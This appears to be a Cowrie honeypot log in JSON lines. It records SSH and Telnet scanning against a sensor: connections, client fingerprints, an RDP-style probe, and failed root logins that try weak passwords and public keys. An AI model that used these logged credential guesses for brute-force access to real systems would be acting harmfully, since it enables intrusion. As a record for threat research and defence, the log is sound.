{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdc93791774","protocol":"ssh","message":"New connection: 80.66.85.226:45028 (10.17.0.5:22) [session: 6fdc93791774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:40.869964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:40.874791Z","src_ip":"80.66.85.226","session":"6fdc93791774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:40.966684Z","src_ip":"80.66.85.226","session":"6fdc93791774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:41.151455Z","src_ip":"62.133.63.178","session":"b3e61cdc0614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trinity","message":"login attempt [root/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:41.245584Z","src_ip":"80.66.85.226","session":"6fdc93791774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:42.340809Z","src_ip":"80.66.85.226","session":"6fdc93791774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52455,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7f1a857960","protocol":"ssh","message":"New connection: 167.172.81.52:52455 (10.17.0.5:22) [session: 8a7f1a857960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:14.010534Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:14.015336Z","src_ip":"167.172.81.52","session":"8a7f1a857960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:14.019850Z","src_ip":"167.172.81.52","session":"8a7f1a857960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":60294,"dst_ip":"10.17.0.5","dst_port":22,"session":"657c14168468","protocol":"ssh","message":"New connection: 89.127.197.59:60294 (10.17.0.5:22) [session: 657c14168468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:16.145921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:16.151307Z","src_ip":"89.127.197.59","session":"657c14168468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:16.275901Z","src_ip":"89.127.197.59","session":"657c14168468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:16.802276Z","src_ip":"89.127.197.59","session":"657c14168468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:17.931741Z","src_ip":"89.127.197.59","session":"657c14168468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58470,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6815a640c5c","protocol":"telnet","message":"New connection: 192.119.13.58:58470 (10.17.0.5:23) [session: c6815a640c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:55.818972Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44944,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd32ce85e471","protocol":"ssh","message":"New connection: 194.113.233.25:44944 (10.17.0.5:22) [session: fd32ce85e471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:58.259101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:58.264654Z","src_ip":"194.113.233.25","session":"fd32ce85e471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:58.356105Z","src_ip":"194.113.233.25","session":"fd32ce85e471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apelsin","message":"login attempt [root/apelsin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:58.630781Z","src_ip":"194.113.233.25","session":"fd32ce85e471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:47:59.723607Z","src_ip":"194.113.233.25","session":"fd32ce85e471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57522,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb28904065fa","protocol":"ssh","message":"New connection: 103.27.238.120:57522 (159.203.135.109:22) [session: eb28904065fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:13.503507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:13.508419Z","src_ip":"103.27.238.120","session":"eb28904065fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:13.765662Z","src_ip":"103.27.238.120","session":"eb28904065fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melissa","message":"login attempt [root/melissa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:14.537970Z","src_ip":"103.27.238.120","session":"eb28904065fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:15.797537Z","src_ip":"103.27.238.120","session":"eb28904065fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":46246,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5a264d5b7e7","protocol":"ssh","message":"New connection: 107.170.247.81:46246 (10.17.0.5:22) [session: c5a264d5b7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:21.614815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:21.619939Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:21.697652Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:02:78:e2:4f:fb:fb:60:39:14:53:e3:79:07:6b:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XlzxRsSOwFA6SfCwU2282jfcU3VWcCkWLn2qC5Am5U/2t6c7L4vEuVwFCzUSz5lFtOHoly8j4Zw3ce/680Zd9kS5ZbF+nOOBvPunhghg9sXr94Ie+cSg0bR0sdroCOQwYm8CzFTHYXtRdAkYFNLAy6S2GacvGeGMTdSBY1xLSB8QzSzPkqrtj7crggV5c1sLJ8iUzUNnpQmCP8Lc5PZtUJVg7Cw63lhWpYP4NTcAXDl9UHjAe+svZtFf9cbGs6gFhMCNAcnuqZdbn3tgLm0ses6ldVSWBVKLBF6kOfnyYLTObqxm7DWU0Iu1XkWfNVB0/1NtkwRzvVGDkMt6DScr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:02:78:e2:4f:fb:fb:60:39:14:53:e3:79:07:6b:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.047669Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:02:78:e2:4f:fb:fb:60:39:14:53:e3:79:07:6b:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XlzxRsSOwFA6SfCwU2282jfcU3VWcCkWLn2qC5Am5U/2t6c7L4vEuVwFCzUSz5lFtOHoly8j4Zw3ce/680Zd9kS5ZbF+nOOBvPunhghg9sXr94Ie+cSg0bR0sdroCOQwYm8CzFTHYXtRdAkYFNLAy6S2GacvGeGMTdSBY1xLSB8QzSzPkqrtj7crggV5c1sLJ8iUzUNnpQmCP8Lc5PZtUJVg7Cw63lhWpYP4NTcAXDl9UHjAe+svZtFf9cbGs6gFhMCNAcnuqZdbn3tgLm0ses6ldVSWBVKLBF6kOfnyYLTObqxm7DWU0Iu1XkWfNVB0/1NtkwRzvVGDkMt6DScr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.052862Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:13:07:90:31:a9:65:cb:30:23:9e:80:e7:fb:a5:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmYm+GdMASjwFk+j5g5AWouCKrOupy4fAmpU3cVoH1M+qfkipmiBc+Tc1ioLQ9Rf/OxXtRGwYv7QvXd0TdXvWMQWrU4YakJ4nEvkIXnu1guWZFjyNIgrbGjAsKuoT4yX3s7C0NiH0L9a3qpCCZpyUywodspAVxTMYlEChehqFRY5aIMRyNv0BnVs21YY81a846N4Sf9gF68OSW8J5E+xDuNRiHvlyLEv/5n1IOU5ZUkTHY3aioW2UGyOcDcN4h53O3vXijVLfz/BEs8ggB/+U6QbyC7mPAeeb8dHpayC9eFLCbqHUa7TAvWjG8SMuuXooX/9CNuyK1GjBQOh/V4C3P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:13:07:90:31:a9:65:cb:30:23:9e:80:e7:fb:a5:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.130975Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:13:07:90:31:a9:65:cb:30:23:9e:80:e7:fb:a5:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmYm+GdMASjwFk+j5g5AWouCKrOupy4fAmpU3cVoH1M+qfkipmiBc+Tc1ioLQ9Rf/OxXtRGwYv7QvXd0TdXvWMQWrU4YakJ4nEvkIXnu1guWZFjyNIgrbGjAsKuoT4yX3s7C0NiH0L9a3qpCCZpyUywodspAVxTMYlEChehqFRY5aIMRyNv0BnVs21YY81a846N4Sf9gF68OSW8J5E+xDuNRiHvlyLEv/5n1IOU5ZUkTHY3aioW2UGyOcDcN4h53O3vXijVLfz/BEs8ggB/+U6QbyC7mPAeeb8dHpayC9eFLCbqHUa7TAvWjG8SMuuXooX/9CNuyK1GjBQOh/V4C3P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.134785Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:e0:0f:f3:59:c2:c5:80:58:93:41:5a:3f:b3:40:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzKk9/0n1DONbYJm12fR/rwYW+W5aHQfLpDYDFxJQF/v9S+oJo2VkjTTjpBWkSEqNZ+PnyYZa2Nbv5q99iihgLC/Vb3JvjyUExTR7H4kIIq/b7VsIIfQTFtf1Wkv4eoVRT+IUFrvLhEk+wkSWW8ynnY4B9e2y2FT0RgHG5UETQnAgJ3GoPJR0jCifksTbFqImwbw7qL5xFE5KkGLlYabw4W805pGHxpVW5G7iCv368V6l8f6LCBHnalBSv8FsfncRiJrtkIrkZ7Uj7Dt+0euo4gYkNH23R4T46qpSfRMxE3ih+rQj+/xZLpinFBQU9s73wqMr0MCANPVuLk4vFCZZAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:e0:0f:f3:59:c2:c5:80:58:93:41:5a:3f:b3:40:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.209706Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:e0:0f:f3:59:c2:c5:80:58:93:41:5a:3f:b3:40:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzKk9/0n1DONbYJm12fR/rwYW+W5aHQfLpDYDFxJQF/v9S+oJo2VkjTTjpBWkSEqNZ+PnyYZa2Nbv5q99iihgLC/Vb3JvjyUExTR7H4kIIq/b7VsIIfQTFtf1Wkv4eoVRT+IUFrvLhEk+wkSWW8ynnY4B9e2y2FT0RgHG5UETQnAgJ3GoPJR0jCifksTbFqImwbw7qL5xFE5KkGLlYabw4W805pGHxpVW5G7iCv368V6l8f6LCBHnalBSv8FsfncRiJrtkIrkZ7Uj7Dt+0euo4gYkNH23R4T46qpSfRMxE3ih+rQj+/xZLpinFBQU9s73wqMr0MCANPVuLk4vFCZZAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.213679Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:aa:d1:01:37:9e:ff:88:51:9e:16:f1:56:be:b7:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDoqlU0E6ruUEwtbCjc7KJUwqI332wSOrXLaIsPeG+f9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 05:aa:d1:01:37:9e:ff:88:51:9e:16:f1:56:be:b7:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.292629Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:aa:d1:01:37:9e:ff:88:51:9e:16:f1:56:be:b7:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDoqlU0E6ruUEwtbCjc7KJUwqI332wSOrXLaIsPeG+f9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.297073Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClD8QR/myxdkibzJgZyWMq7B2iiPe/zL/XF63i7E/edrpySLtNr6xBdoNsFHhIZhd5vqMF3RGZ3HO3sX1vwsoWoZvGsCpvMGrTRcPXTDjMn7FdT33Mf2IzIrxPwOfZmBxor3JUynJFi5bQVeS/0F070r/Ppg0ORbLDYZD3G/IADm81YjsHmt52owIRg3PdsGwK2N7G1Pd5l5BAEgbGVJYcWKb2aWGYHcxhs7795sFaUNpkFDExMu+Uh18lSdHgN1Bk7vly4clqqHnbvJomQwdxjzKjk3XXTUjtZfUDxdyjz3RlUBXLyIB3kF+Tr7xgNHWTn0XA80YPQHCxutGkKTWz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.376255Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
